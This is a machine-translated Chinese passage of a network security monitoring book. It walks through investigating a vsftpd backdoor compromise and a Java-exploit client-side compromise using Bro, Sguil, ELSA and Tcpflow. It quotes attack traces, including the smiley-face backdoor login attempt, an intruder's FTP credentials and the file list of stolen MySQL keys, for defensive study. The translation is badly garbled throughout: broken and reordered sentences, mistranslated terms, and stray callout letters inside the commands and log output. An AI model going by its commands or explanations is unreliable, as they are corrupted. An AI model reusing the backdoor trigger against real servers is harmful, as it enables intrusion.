操作系统指纹:203.0.113.10:49220 - UNKNOWN [S10:63:1:60:M1460,S,T,N,W4:.:?:?](上线:2 小时)操作系统指纹:-> 192.168.3.13:21(连接:以太网/调制解调器)
DST: 220 (vsFTPd 2.3.5)w
DST:
SRC: 用户 1dxF:)u
SRC:
DST: 331 请指定密码。
DST:
SRC: 密码 0ibjZ
SRC:
DST: 530 登录不正确.y
DST:
DST: 500 OOPS:
DST: vsf_sysutil_recv_peek: 无数据
DST:
清单 10-10:从 203.0.113.10 到 192.168.3.13 的 FTP 连接记录
我们可以看到入侵者尝试了相同的笑脸攻击 u 针对
FTP 服务器 v 和 w 在 192.168.3.13 x 上,但他收到了一个粗鲁的登录
错误 y 返回不正确。攻击失败。此外,根据
NSM 会话数据中,没有连接到端口 6200 TCP
192.168.3.13,告诉我们 192.168.3.13 没有受到此攻击的影响。
现在我们必须确定 192.168.3.5 可能还发生了什么。
我们看到入侵者连接到 FTP 服务器,并与一个后端互动
门口。他有做其他事情吗?为了回答这个问题,我们运行一个
针对涉及受害者 192.168.3.5 的所有会话,进行新的会话数据查询,如下所示
如清单 10-11 所示,结果显示在图 10-11 中。
WHERE sancp.start_time > '2013-03-09' AND sancp.src_ip = INET_
ATON('192.168.3.5') AND dst_port!=137 AND dst_port!=138
清单 10-11:涉及 192.168.3.5 的会话数据查询语法
在运行此查询时,我添加了命令来忽略端口 137 和
138,因为当我第一次查看数据时,我看到许多不相关的会话
这些 Windows 服务的记录。因为它们与此
事件中,我已经将它们从图 10-11 中显示的输出中移除。
服务器端被攻破 223

图 10-11:192.168.3.5 的会话数据
我们已经在早期的结果中看到了一些这种活动,但我们在这里关注的
是 192.168.3.5,而不是 203.0.113.10。最有趣的新记录涉及
在 203.0.113.0/24 网段中,两个新的 IP 地址:203.0.113.77 和
203.0.113.4。这两个 IP 地址出现在会话记录中,开始时-
2013-03-10 01:59:43 开始的日志。显然,我们的原始入侵者要么是
与同事合作,或者他控制着这些系统!
我建议至少创建涉及系统的概念性图表
在试图理解事件范围时使用 NSM。你不会识别出
无法识别所有受害系统与远程攻击者之间的基础设施,
但将它们以可视化的方式展示,可以帮助你更好地识别发生了什么
在实际案例中,图 10-12 总结了我们当前的理解。
涉及此案例的所有系统。
探索会话数据
让我们考虑通过查询受害者 IP 地址发现的新会话
确定事件范围时,请记住这一简单规则:
入侵中的唯一不变因素是受害者。入侵者可能会通过改变攻击系统来伪装
通过跳转到不同的攻击系统来隐藏他们的活动
从平台到攻击平台;事件响应者如果过于关注攻击者
IP 地址将错过这些跳跃。牢记受害者,你就不会
不要被愚弄。
224 第十章
入侵者 1
互联网
203.0.113.10
NSM
入侵者 2
入侵者 3
203.0.113.77
203.0.113.4
测试
网络
轻触
服务器
192.168.3.5
桌面
192.168.3.13
图 10-12:此案例中观察到的系统
请注意,在图 10-11 中,我们从受害者 IP 地址发出的三个 DNS 查询开始
通过 192.168.3.5 开始的日志,时间为 2013-03-09 21:40:35\。我们可以使用 Sguil
控制台尝试为每个会话生成 Wireshark 输出,以便查看
查询和回复,但我们将引用由 Bro 捕获的 DNS 日志,
存储在 /nsm/bro/logs/2013-03-09 目录中。正如你将看到的,Bro 日志是一种事务数据和元数据的形式。
搜索 Bro DNS 日志
有很多方法可以搜索 Bro DNS 日志中的特定条目。一种简单的方法是
这种方式来自命令行,如列表 10-12 所示\。
$ zcat dns.21:31:10-22:00:00.log.gz | bro-cut -d | grep 192.168.3.5 |
grep -v WORKGROUP
-- snip --
2013-03-09T21:40:35+0000 k3hPbe4s2H2 192.168.3.5u 60307
192.168.3.1 53 udp 40264 2.3.168.192.in-addr.arpaw 1
C_INTERNET 12 PTRv - - F F T F
0 --
2013-03-09T21:47:08+0000 i1zTu4rfvvk 192.168.3.5x 36911
192.168.3.1 53 udp 62798 www.google.comz 1
C_INTERNET 1 A - - F F T F
0 - -
2013-03-09T21:47:18+0000 H5Wjg7kx02d 192.168.3.5y 49467
192.168.3.1 53 udp 32005 www.google.com.localdomain{ 1
C_INTERNET 1 A - - F F T F
0 --
列表 10-12:Bro 记录的 DNS 记录
服务器端入侵 225
首先,我们使用 zcat,因为 Bro 日志是 gzip 压缩的。接下来,我们将结果通过管道传递给 bro-cut 并使用 -d 切换,这样可以将 Bro 的原生 Unix
将时间戳格式转换为人类可读的版本。然后我们用 grep 搜索 IP
受害者的地址 192.168.3.5,接着使用 grep 来忽略(使用 -v
切换)任何包含 WORKGROUP 的记录。Bro 的日志包含 DNS 查询和
回复,以及我们删除的 NetBIOS 名称服务流量的日志
使用 bro-cut -d。默认情况下,这种语法会省略这些记录的头部。
如你在列表 10-12 中看到的,192.168.3.5 u 查询了一个 PTR 记录 v
查询 2.3.168.192.in-addr.arpa w,这可能与入侵无关。
然后七分钟后,系统 x y 查询了 www.google.com z 和
www.google.com.localdomain {. 这最后两个 DNS 查询对应于
入侵者尝试 ping www.google.com 的记录。在 Bro 日志中看到头部
可以帮助我们更好地理解它们。一种查看头数据的方法是避免使用
将输出通过 bro-cut 进行管道处理。相反,使用 head 限制输出
命令,如列表 10-13 所示\。
$ zcat dns.21:31:10-22:00:00.log.gz | head
separator \x09
set_separator ,
empty_field (空)
unset_field -
path dns
open 2013-03-09-21-31-10
fields ts uid id.orig_h id.orig_p id.resp_h
id.resp_p proto trans_id query qclass qclass_name qtype
qtype_name rcode rcode_name AA TC RD RA Z
answers TTLs
types time string addr port addr port enum count string
count string count string count string bool bool bool bool
count vector[string] vector[interval]
列表 10-13:Bro DNS 日志中的字段和数据类型
搜索 Bro SSH 日志
在三个 DNS 条目之后,图 10-11 显示了 203.0.113.77 正在 ping
192.168.3.5 通过 IP 协议 0,ICMP。这是我们看到的第一条来自
203.0.113.77\。
下一个记录显示从 203.0.113.77 到 22 端口 TCP 的流量
192.168.3.5. 这很可能是 SSH 流量,我们可以通过查看完整的
内容数据或通过检查几个 Bro 日志。例如,在 2013-03-10
在目录中,我们看到列表 10-14 中显示的条目出现在 ssh.log 中。(请注意,在
为了查看字段的头部,我们省略了使用 bro-cut,就像我们之前做的那样
列表 10-13。)该列表显示了整个日志,因为它只包含一条
感兴趣的条目。
226 第十章
$ zcat ssh.02:03:29-03:00:00.log.gz | bro-cut -d
2013-03-10T02:01:10+0000 8zAB2nsjjYd 203.0.113.77u 65438
192.168.3.5v 22 成功 INBOUND SSH-2.0-OpenSSH_5.8p2_hpn13v11
FreeBSD-20110503 SSH-2.0-OpenSSH_4.7p1 Debian-8ubuntu1 16678 AU
列表 10-14:Bro 记录的 SSH 连接
列表 10-14 显示 203.0.113.77 u 通过 SSH 连接到 192.168.3.5 v。
要理解其余字段,我们需要知道这些字段的头部
日志文件。列表 10-15 显示了 Bro SSH 日志中的头部,后面是
同样的 SSH 记录,显示 203.0.113.77 连接到 192.168.3.5\。
$ zcat ssh.02:03:29-03:00:00.log.gz
separator \x09
set_separator ,
empty_field (空)
unset_field -
path ssh
open 2013-03-10-02-03-29
fields ts uid id.orig_h id.orig_p id.resp_h
id.resp_p status direction client server resp_size
remote_location.country_code remote_location.region remote_location.city
remote_location.latitude remote_location.longitude
types time string addr port addr port string enum string
string count string string string double double
1362880870.544761 8zAB2nsjjYd 203.0.113.77 65438
192.168.3.5 22 成功 INBOUND SSH-2.0-OpenSSH_5.8p2_hpn13v11
FreeBSD-20110503u SSH-2.0-OpenSSH_4.7p1 Debian-8ubuntu1v 16678 AU
close 2013-03-10-03-00-00
清单 10-15:由 Bro 记录的 SSH 连接,带有头部信息
客户端和服务器字段最为有趣。客户端列出
作为 SSH-2.0-OpenSSH_5.8p2_hpn13v11 FreeBSD-20110503 u,服务器是
SSH-2.0-OpenSSH_4.7p1 Debian-8ubuntu1 v。虽然你可以轻松识别出
SSH 的服务器版本,因为你拥有该系统,系统提供的信息
客户端(入侵者)运行 FreeBSD,可能是有趣的。知道确切的
客户端的 OpenSSH 版本(再次,入侵者)也可能帮助你
将攻击归因或将其与其他事件数据关联。
不幸的是,SSH 会话的内容是加密的,意味着
你不能通过网络中心手段解密它们。如果系统
如果安装了类似 OSSEC 的主机中心工具,可能已经有数据可用-
可以从本地系统进行检查,但会话记录显示了
2013-03-10 02:01:10 开始的 SSH 会话并在 02:03:24 终止\。
我们能否通过这个加密会话知道入侵者做了什么?最后几个会话-
会话记录有助于回答这个问题。
服务器端的妥协 227
搜索 Bro FTP 日志
在 2013-03-10 02:02:50 的图 10-11 中,我们看到一个出站的 FTP 会话
从 192.168.3.5 到 203.0.113.4。如果这确实是一个 FTP 会话,我们应该是
可以构建转录以查看内容。我们还可以快速检查
Bro FTP 日志,如清单 10-16 所示\。
$ zcat ftp.02:03:11-03:00:00.log.gz
separator \x09
set_separator ,
empty_field(空)
unset_field -
path ftpv
open 2013-03-10-02-03-11
fields ts uid id.orig_h id.orig_p id.resp_h
id.resp_p 用户 密码 命令 参数 mime_type mime_
描述 文件大小 回复代码 回复消息 标签
extraction_file
types 时间 字符串 地址 端口 地址 端口 字符串 字符串 字符串
字符串 字符串 字符串 数量 数量 字符串 表格[字符串] 文件
1362880986.113638 FVmgKldpQO5 192.168.3.5w 32904
203.0.113.4x 21 orr <隐藏> STOR ftp://203.0.113.4/./
mysql-ssl.tar.gzu application/x-gzip gzip 压缩数据,来自
FAT 文件系统(MS-DOS、OS/2、NT) - 226 传输完成。
close 2013-03-10-03-00-00
清单 10-16:Bro FTP 日志
在这里,我们看到有人成功地传输了一个名为的文件
mysql-ssl.tar.gz 通过 FTP 从 192.168.3.5 传输到 203.0.113.4。该
转录显示了更多的信息,如清单 10-17 所示\。
传感器名称:sovm-eth1
时间戳:2013-03-10 02:02:50
连接 ID:.sovm-eth1_1362880970000002980
源 IP:192.168.3.5(未知)
目标 IP:203.0.113.4(未知)
源端口:32904
目标端口:21
操作系统指纹:192.168.3.5:32904 - Linux 2.6(更新版,1)(在线时长:5 小时)
操作系统指纹:-> 203.0.113.4:21(距离 0,链路:以太网/调制解调器)
目标:220 freebsdvmw FTP 服务器(版本 6.00LS)准备就绪。
目标:
源:用户 orrv
源:
目的:331 需要密码才能进入 orr。
目的:
源:PASS bobbyu
228 第十章
源:
目的:230 用户 orr 登录。
目的:
源:SYST
源:
目的:215 UNIX 类型:L8 版本:BSD-199506x
目的:
源:TYPE I
源:
目的:200 类型设置为 I。
目的:
源:PORT 192,168,3,5,128,244
源:
目的:200 PORT 命令成功。
目的:
源:STOR mysql-ssl.tar.gz
源:
目的:150 打开二进制模式数据连接用于 'mysql-ssl.tar.gz'。
目的:
列表 10-17:入侵者到 203.0.113.4 的 FTP 命令通道转录
我喜欢这个人。他的密码是 bobby u,用户名是 orr v。这个
FTP 服务器运行在标识为 freebsdvm w 的系统上,
UNIX 类型 L8 版本:BSD-199506 x。我们可以使用这些信息来
如果适当,可能将此案件与其他案件关联。
我们不知道入侵者是如何获取此文件内容的。
我们能确定里面有什么吗?
解码敏感数据的盗窃
事实上,我们可以通过我们 NSM 平台进行的完整内容数据收集来检索 mysql-ssl.tar.gz 压缩包。我们将派生提取
使用 Sguil 工具重建的内容数据来自完整内容数据
转录文件,称为 Tcpflow(https://github.com/simsong/tcpflow)。Jeremy Elson 编写了 Tcpflow 的第一个版本,但近年来,Simson Garfinkel 接管了该项目。
承担了该项目的责任。
Tcpflow 重建 TCP 会话。例如,在列表 10-18 中,我们
告诉 Tcpflow 重建所有涉及端口 20 的 TCP 会话,这是用于
用于会话记录中显示的活动 FTP 数据通道。
$ tcpflow -r /nsm/sensor_data/sovm-eth1/dailylogs/2013-03-10/snort.log.1362873602 port 20u $ lsv
192.168.003.005.33012-203.000.113.004.00020w 203.000.113.004.00020-192.168.003.005.56377x report.xmly
$ **file ***z
192.168.003.005.33012-203.000.113.004.00020{: gzip 压缩数据,来自 Unix,最后修改时间:2013 年 3 月 10 日 02:02:23
203.000.113.004.00020-192.168.003.005.56377|: ASCII 文本,带 CRLF 行终止符
report.xml:XML 文档文本
服务器端妥协 229
$ cat 203.000.113.004.00020-192.168.003.005.56377
总计 1936
drwxr-xr-x 2 orr orr 512 Mar 9 21:03 .
drwxr-xr-x 4 root wheel 512 Mar 9 20:47 ..
-rw-r--r-- 1 orr orr 1016 Mar 9 20:47 .cshrc
-rw-r--r-- 1 orr orr 254 Mar 9 20:47 .login
-rw-r--r-- 1 orr orr 165 Mar 9 20:47 .login_conf
-rw------- 1 orr orr 381 Mar 9 20:47 .mail_aliases
-rw-r--r-- 1 orr orr 338 Mar 9 20:47 .mailrc
-rw-r--r-- 1 orr orr 750 Mar 9 20:47 .profile
-rw------- 1 orr orr 283 Mar 9 20:47 .rhosts
-rw-r--r-- 1 orr orr 980 Mar 9 20:47 .shrc
-rw-r--r-- 1 orr orr 915349 Mar 9 21:03 mysql-ssl.tar.gz}
列表 10-18:Tcpflow 重建涉及端口 20 的会话
列表 10-18 首先展示了如何针对有趣的跟踪记录运行 Tcpflow,
使用 BPF 限制重建只涉及端口 20 的流量 u。接下来,我们
查看 Tcpflow 重建的输出,以目录列表的形式呈现
输出显示了网络会话的两个方面,以两个
文件 w 和 x,以及一个描述 Tcpflow 操作的report.xml文件 y。接下来,我们使用 file z 命令来显示这些文件的类型。
提取被窃取的归档
文件192.168.003.005.33012-203.000.113.004.00020 {是一个gzip归档文件,在 FTP 会话期间传输。文件203.000.113.004.00020-192
.168.003.005.56377 | 是一个 ASCII 文本文件,对应于从 FTP 服务器返回到客户端 192.168.3.5 的目录列表。该目录
列表是在入侵者将mysql-ssl.tar.gz复制到服务器后传输的。
这确认了mysql-ssl.tar.gz的成功传输,因为该文件现在已列出并存储在由入侵者控制的 FTP 服务器上。这个
如果该文件是敏感的归档文件,这对 Vivian’s Pets 来说可能是坏消息。
多亏了捕获完整的内容数据,我们也拥有了mysql-ssl
.tar.gz 在我们手中。由文件192.168.003.005表示的gzip归档
.33012-203.000.113.004.00020 {很可能是入侵者窃取的mysql-ssl.tar.gz文件。我们使用 tar 程序提取它,如列表 10-19 所示。
如你所见,它似乎包含与 MySQL 服务器相关的密钥。
$ tar -xzvf 192.168.003.005.33012-203.000.113.004.00020
mysql-ssl/
mysql-ssl/yassl-1.9.8.zip
mysql-ssl/my.cnf
mysql-ssl/mysqld.gdb
mysql-ssl/mysql-keys/
mysql-ssl/mysql-keys/server-cert.pem
mysql-ssl/mysql-keys/ca-cert.pem
mysql-ssl/mysql-keys/client-req.pem
mysql-ssl/mysql-keys/server-key.pem
230 第十章
mysql-ssl/mysql-keys/server-req.pem
mysql-ssl/mysql-keys/client-key.pem
mysql-ssl/mysql-keys/client-cert.pem
mysql-ssl/mysql-keys/ca-key.pem
列表 10-19:入侵者窃取的 mysql-ssl .tar .gz 归档文件内容 拥有这些数据后,Vivian’s Pets CIRT 必须总结
了解发生了什么,以便全面理解入侵。
回顾
在 NSM 过程中的这一阶段,CIRT 应考虑它所
在提供建议之前,理解入侵的背景对 Vivian's Pets 来说是非常重要的
所有者。通过插图描述每个阶段发生的事情是一个
有帮助的分析步骤。
总结第一阶段
图 10-13 总结了此次入侵的前几个阶段,我们可以
第一阶段\。
1. 入侵者对两个潜在的受害者进行侦察。
网络扫描
受害者 1
入侵者 1
192.168.3.5
203.0.113.10
受害者 2
192.168.3.13
2. 入侵者利用受害者 1 上的 vsftpd 服务\。
受害者 1
网络连接
192.168.3.5
入侵者 1
203.0.113.10
被利用
3. 入侵者连接到受害者 1 上的后门\。
网络连接
入侵者 1
受害者 1
203.0.113.10
192.168.3.5
4. 入侵者未能利用受害者 2 上的 vsftpd 服务\。
网络连接
受害者 2
入侵者 1
192.168.3.13
203.0.113.10
安全
图 10-13:服务器端入侵的第一阶段
服务器端入侵 231
在第一阶段,203.0.113.10 上的入侵者对两台计算机进行了网络侦察:192.168.3.5 和 192.168.3.13。入侵者
发现两台系统都在监听 21 端口 TCP,因此他尝试通过 FTP 来
他成功地攻破了 vsftpd 服务,并在两个目标上都利用了该服务。
192.168.3.5 上的服务器遭到入侵,导致 TCP 端口 6200 打开了后门。
那个系统。他无法使用相同的技术获得未经授权的访问。
授权访问 192.168.3.13。
总结第二阶段
图 10-14 总结了此入侵的其余部分,称为第二阶段。
- 入侵者 2 通过 SSH 连接到受害者 1。
SSH 连接
入侵者 2
受害者 1
203.0.113.77
192.168.3.5
- 入侵者 2 指示受害者 1 上传
将被盗数据上传到入侵者 3 的 FTP 服务器。
SSH 连接
入侵者 2
203.0.113.77
受害者 1
FTP 连接
192.168.3.5
入侵者 3
203.0.113.4
图 10-14:服务器端入侵的第二阶段
在第二阶段,一个新的入侵者 IP 地址,203.0.113.77,通过 SSH 连接到
192.168.3.5。与受害者互动时,入侵者创建或删除了某些文件。
覆盖了一个名为mysql-ssl.tar.gz的归档文件。然后,他通过 FTP 将该归档文件上传到第三台系统,203.0.113.4,该系统可能是另一个 FreeBSD 系统。
下一步
如第九章所述,升级和解决是 NSM 工作流程中的两个阶段。
收集和分析阶段之后,NSM 工作流程的后续阶段。
完成后,CIRT 必须确定受影响系统的所有者,
并解释被识别为被盗数据的性质。反过来,
资产所有者必须评估数据丢失的影响,并同时考虑
授权 CIRT 采取短期事件遏制措施时。
最有效的遏制机制是从网络中移除被攻破的系统。
网络上的系统。
首先,断开 192.168.3.5 与网络的连接。我们应当考虑
它被认为不可信,因为我们不知道入侵者在
他加密的 OpenSSH 会话。CIRT 还应确定是否有任何
192.168.3.5 上的信息是敏感的,以帮助决定此事件
这个事件符合 Breach 2 或 Breach 1 事件的标准。区别在于
被盗数据的重大性和敏感性。
232 第十章
CIRT 应确定是否从 192.168.3.5 获取了任何信息
可能导致其他入侵。是否存在其他账户也可能被
是否用于登录到其他 Vivian’s Pets 系统?是否有配置文件
这些行为是否会使入侵者获得额外的访问权限?是否有配置文件可以被用来登录到其他“Vivian’s Pets”系统?
是否有企业合作伙伴或客户账户存在风险?可能需要涉及企业、法律和其他团队来应对。
在评估入侵影响时,必要时 CIRT 应采取措施。最终,
192.168.3.5 应该被退役,因为它不再是一个可信的平台。
这是 IT 和安全人员的一个深刻教训:当
Metasploitable 开发者警告用户将他们的发行版保密
互联网,他们是认真的!
结论
本章讲解了服务器端的妥协。我们利用了多个
使用 NSM 数据的不同形式分析入侵,目标是两台系统
Vivian's Pets 测试网络的应用程序。通过检查警报、会话、完整内容、事务-
通过提取信息和内容数据,我们了解到入侵者窃取了系统的
与 MySQL 相关的信息和压缩归档文件。
我们还了解到,NSM 数据本身无法回答所有问题。
一旦入侵者利用被盗凭证(通过 /etc/passwd 和 /etc/
shadow 文件)通过 OpenSSH 连接时,我们无法看到他运行的命令,
虽然我们可以看到诸如通过 FTP 上传归档的派生行为。
使用与 Sguil 捆绑的 NSM 工具,我们重建了被盗的归档文件,
虽然我们本可以使用 Wireshark 做类似的重组
或者其他工具。
本案例介绍了攻击模式的概念以及如何分析
使用 NSM 工具和方法处理它们。在下一章中,我们将转到
稍微调整表格并回顾一下客户端妥协。
服务器端妥协 233
11
C L I E N T - S I D E C O M P R O M I S E
在上一章的示例中,
入侵者进行侦察
针对远程目标,识别的服务,
并攻击它们。获取访问权限后
拥有一个易受攻击服务的系统,入侵者
将感兴趣的归档文件提取到一个
远程服务器。所有这些活动都在没有
用户在 Vivian's Pets 上的明确参与
网络。
本章展示了客户端妥协——另一种常见的
你可能会遇到的恶意网络活动的主要类别之一。
虽然此事件涉及远程系统,但入侵者并未主动发起
以与服务器端妥协相同的方式进行攻击。我们将使用
使用类似的 NSM 方法来检测和响应入侵。
客户端妥协定义
客户端妥协 是指入侵者利用带有
用户交互的应用程序。这个应用程序可以是网页浏览器、电子邮件客户端、
媒体播放器或任何其他程序,用户依赖这些程序访问网络
资源。攻击者可能会诱使用户访问一个被入侵的网站
并揭示她的凭证,或者他可能会简单地定位自己以窃取
利用用户的日常操作。
客户端攻击自 2000 年代中期以来一直很流行,当时攻击者
用户意识到,如果他们能说服一个用户应用程序执行(或被
受到)恶意代码攻击的,他们的攻击更可能成功。
许多组织将资源和专业知识投入到应对服务器端
攻击,但客户端攻击更难以阻止甚至检测。
图 11-1 展示了一个客户端侧妥协的通用攻击模式。
- 受害者执行恶意代码
系统,在被入侵者诱导后
或者是无辜的计算机使用。
网络钓鱼邮件
入侵者
受害者
或
网站访问
网站托管
受害者
恶意代码
或
社交媒体或其他通信
恶意代码
在社交媒体上
受害者
或其他网站
- 攻击方法利用了易受攻击的应用程序
在受害者系统上执行代码或命令,
被利用
或运行一个不想要的恶意应用程序。
网络连接
入侵者
受害者
- 恶意代码导致受害者回溯到入侵者
图 11-1:客户端妥协攻击模式
如图 11-1 所示,三种最常见的客户端侧攻击
涉及网络钓鱼邮件、访问网站和与社交媒体的互动。
这是怎么可能的?
236 第十一章
在这三种攻击中,入侵者创建了某种不安全的通信方式。对于网络钓鱼邮件,可能入侵者附加了一个
恶意可执行文件,如设计用来利用漏洞的文档
应用程序,如 Microsoft Word 或 Adobe Reader。网络钓鱼邮件
或社交媒体也可能包含指向恶意网站的链接,这些网站由
入侵者专门执行攻击。目标网站也可能是一个商业网站
完全合法的页面,例如新闻或体育页面,攻击者已在其中
插入的恶意代码让访问该网站的人遭到妥协。
这些攻击的最新变种被称为 watering hole(水坑攻击)或 strategic website compromise(战略性网站妥协)攻击。入侵者会妥协一个她预期
让目标访问,可能是人权或智库网站。当感兴趣的
其他方访问该网站时,恶意代码会在他们不知情的情况下攻击他们。
这些攻击相当具有破坏性,因为它们并不完全针对特定目标
(入侵者不能确定她的目标是否会访问该网站),
但是它们可能非常隐蔽,因为受害者在上网时通常
不经意间陷入了这个陷阱。
客户端侧攻击可能导致与服务器端相同的访问级别
攻击(在第十章中讨论)。利用易受攻击的应用程序的尝试
通信,无论是否成功,都是 Cat 3 级事件。如果攻击
如果成功并且入侵者获得了用户级别的访问权限,则此场景现在符合
被标记为 Cat 2 类型的入侵。如果入侵者获得了管理员级别或根级别的权限,
权限,我们必须处理 Cat 1 类型的入侵。一旦入侵者建立了连接,
一旦建立了指挥和控制通道,便是 Breach 3。如果入侵者
开始窃取数据或采取其他行动时,我们可能正在处理一个
漏洞 2 或甚至是漏洞 1 类型的入侵。(请参见图 9-5,位于第 194 页 链接,了解入侵分类定义。)无论是哪种类别,CIRT 的目标
一如既往,快速确定事件的范围并采取
迅速采取行动以遏制攻击并减少数据丢失、篡改的风险,
或退化。
客户端妥协的实际情况
本章节的例子中,我们将查看一个客户端妥协的情况,
发生在 Vivian’s Pets 网络上的活动,但涉及不同的计算机。为了
让情况稍微复杂一些,相关活动将
通过一个监控两个段落的 NSM 传感器进行监测。这是一个配置
由 SO 支持的配额,看起来是一个不错的选择,尤其是在硬件
涉及的网络能够支持额外的负载。我们将看看这个决定是否合理—
确认!网络如图 11-2 所示\。
使用此传感器配置,NSM 平台将看到来自
到达无线网络和内部网络之间的数据传输。(我已完全
在这里模拟了网络,以便包括讨论的 NAT 问题
早些时候在书中提到过,但它们并未发挥主要作用。)
客户端妥协 237

互联网
点击
无线
网络
点击
NSM
笔记本电脑
内部
172.16.0.37
网络
图 11-2:Vivian’s Pets 网络上的无线和内部网络段
从用户获取事件报告
有一天下午,Vivian’s Pets CIRT 收到了一位担忧的用户来电。
她报告说登录 Twitter 并搜索发给她的消息,
名字。她注意到一个来自陌生用户名的推文,Callbackpnsm,并
该信息有些让人不安。未知的推文提到“更新
转发到我们的健康护理计划”并提供了一个包含 healthcarenews 的链接。出于好奇,她将该网址复制并粘贴到 Firefox 浏览器中
浏览器查看情况。图 11-3 展示了那条可疑的推文。
图 11-3:来自 Callbackpnsm 的推文
当一个不明或可疑的 Twitter 用户发送一个链接到一个未
识别出网站时,大多数安全分析师会感到紧张。此时,
Vivian’s Pets CIRT 怀疑这位不幸的用户已经上当受骗,
238 第十一章

客户端攻击。CIRT 询问用户是否记得看到任何可疑
访问网址后,用户回应说她看到了一些关于
一个 Java 安装程序,当她点击后了解健康
当她查看健康护理更新时,看到的只是一个空白页面。
用户开始担心情况不对劲,于是她决定
转而求助于 CIRT 获得帮助。CIRT 感谢用户提供的信息
报告。现在是时候开始调查了!
使用 ELSA 开始分析
开始分析过程的一种方式是查询日志中有关 IP 地址的信息,
那条推文。我们将从 ELSA 开始。
查询 IP 地址
首先,我们将确保 ELSA 查询的时间范围开始于用户
经历了这一异常活动后,我们将添加相关的 IP 地址,
203.0.113.15,输入到搜索栏。结果如图 11-4 所示\。
图 11-4:203.0.113.15 的初始 ELSA 查询结果
ELSA 告诉我们,它有 244 条记录,但默认情况下,限制为
100 条结果。最早的条目排在最前面。结果并不令人鼓舞。
内容提到恶意 Java 小程序和检测到的漏洞 Java 版本 1.7.x。
看到 0day JRE 17 Metasploit Exploit Class 更是雪上加霜。
幸运的是,我们现在确实找到了受害者的 IP 地址:172.16.0.37\。然而
客户端妥协 239


与其滚动浏览多页输出,我们选择程序元素
在屏幕顶部附近查看所有数据源的摘要计数,ELSA 显示
表示此 IP 地址的拥有情况。图 11-5 显示了结果。
图 11-5:ELSA 显示 203.0.113.15 的日志数据源。
如您所见,Snort 警报主导了结果,尽管还有
两个 HTTP 记录和一个 Bro 连接日志记录。
检查 Bro HttP 日志
点击bro_http链接会显示图 11-6 中的结果。
图 11-6:ELSA 显示 203.0.113.15 的 Bro HTTP 日志记录。
这两个事件在 ELSA 中具有相同的时间戳,但 Bro 时间戳
时间戳显示最上面的请求先发生。看起来有点奇怪,
鉴于这是对healthcarenews/Exploit.jar.pack.gz的请求,第二
记录,时间戳较晚,属于healthcarenews页面本身。
看到标题为Exploit.jar.pack.gz的下载内容并没有激发
我们需要找到这个受害者系统发生了什么其他情况。
检查 Snort 警报
返回到 ELSA 中的第一个打开的标签页时,我们注意到sig_msg链接。点击此链接会打开一个新标签页,显示每个 Snort 警报的摘要计数。
与 203.0.113.15 相关,如图 11-7 所示\。
观察到的 Snort 签名摘要包括对
Metasploit Meterpreter,包括 core_channel 和 stdapi,带有命令
请求和命令响应对每个事件都很不鼓舞人心。
240 第十一章

Metasploit (http://www.metasploit.com/)是一个开源侦察工具。
和 HD Moore 创建的利用框架,现在由
Rapid7 和开发团队。Meterpreter 是一个 Metasploit 有效载荷,
代码是攻击者在初步获得目标访问权限后使用的。
另一个 Metasploit 模块交付的漏洞的引用。像 core_channel 这样的术语
stdapi 指的是 Metasploit 套件中的功能和特性,而命令
请求和命令响应表示攻击者与受害者之间的通信。
系统和受害者。
图 11-7:ELSA 显示 203.0.113.15 的 Snort 签名摘要。
入侵者似乎已经获得了在目标上执行代码的能力。
受害者通过 Java 漏洞受到攻击。
搜索其他活动
接下来,我们需要确定这个入侵者是否与其他系统有过互动。
为了完成这项任务,我们返回到第一个包含所有信息的标签页。
203.0.113.15 并点击 srcip 链接。ELSA 告诉我们,只有 203.0.113.15 和 172.16.0.37 有与 203.0.113.15 相关的记录,但为了确保准确,
我们也点击 dstip 链接并得到相同的结果。这意味着我们可能已经掌握了所有涉及 203.0.113.15 的活动——该 IP 地址并没有
通信的其他系统记录。
然而,这个结果并不意味着没有其他活动影响到受害者,
172.16.0.37。为了调查这个线索,我们为 172.16.0.37 运行了一个新的 ELSA 查询。
然后点击 program 链接以获取记录的汇总计数。我们需要
需要知道 172.16.0.37 进行的其他连接。图 11-8 显示了
结果显示。
我们采用类似的方法来调查这些日志。首先,我们检查
排除 Snort 警报,总结它们,并寻找新信息。没有发现
新的条目出现在这里,除了我们看到与包管理相关的 Snort 警报,
可能是由于系统更新所致。
客户端妥协 241


图 11-8:ELSA 显示 172.16.0.37 的日志数据源。
接下来,我们查看 dstip 信息并得到结果,如下所示
图 11-9。 (我已剪切结果,以集中显示最相关的部分)
信息。)
图 11-9:ELSA 显示 172.16.0.37 的 dstip 条目汇总。
有一条记录引起了我们的注意。底部的记录显示了 10.0.0.99,一个
Vivian’s Pets 内部网络中的 IP 地址。这意味着有五个
172.16.0.37 和 10.0.0.99 之间的连接。它们合法吗?能否
一个或多个可能是入侵者滥用 172.16.0.37 所导致?
点击 IP 地址 10.0.0.99 会让 ELSA 查询所有与
10.0.0.99 是目标 IP 地址,172.16.0.37 是源 IP
地址。图 11-10 显示了结果。
这些记录显示了三次 SSH 连接。所有三次连接都出现在
Bro conn.log 文件中有两条记录出现在 Bro notice.log 文件中的“启发式检测”中。这些连接可能涉及通过像
安全复制(scp)或使用 SSH 进行的交互式登录。可能值得看一下
查询所有涉及 10.0.0.9 的活动,因此我们运行了一个新的查询(未显示)
242 第十一章

只针对该 IP 地址查询,并按程序分组结果。它们显示了
121 个 Snort 警报,23 条 conn.log 记录,18 条 dns.log 记录,2 条 notice.log 记录,和 1 条 http.log 记录。
使用相同的调查步骤,我们查询每种日志类型的任何-
有趣的事情。所有与 10.0.0.9 相关的 Snort 警报似乎都与
包管理,其他活动的 Bro 日志条目也显示了类似内容。
这是案件的结束吗?172.16.0.37 是唯一的受害者,还是
SSH 连接到 10.0.0.9 是正常的商业活动吗?我们的 NSM 平台-
形式上有遗漏的地方?
图 11-10: ELSA 显示源 IP 172.16.0.37 和目标 IP 10.0.0.9 的 Bro 日志记录。
查找丢失的流量
在此时,我们怀疑可能有问题,并希望
确保 NSM 平台按预期运行。我们的系统
负责监视两个段落的任务吗?是否有可能丢失流量?
一种回答这些问题的方法是检查 Bro 的 capture_loss.log,它
报告 Bro 的数据包捕获性能。列表 11-1 显示了内容
这是该事件发生时日志的一部分。
$ cat /nsm/bro/logs/current/capture_loss.log
separator \x09
set_separator ,
empty_field (空)
unset_field -
path capture_loss
open 2013-03-16-15-02-50
fields ts ts_delta peer gaps acks percent_lost
types 时间间隔 字符串 数量 数量 字符串
客户端妥协 243
1363446165.986403 900.000429 sovm-eth2-1 0 0 0.000%
1363446165.992449 900.000470 sovm-eth1-1 0 0 0.000%
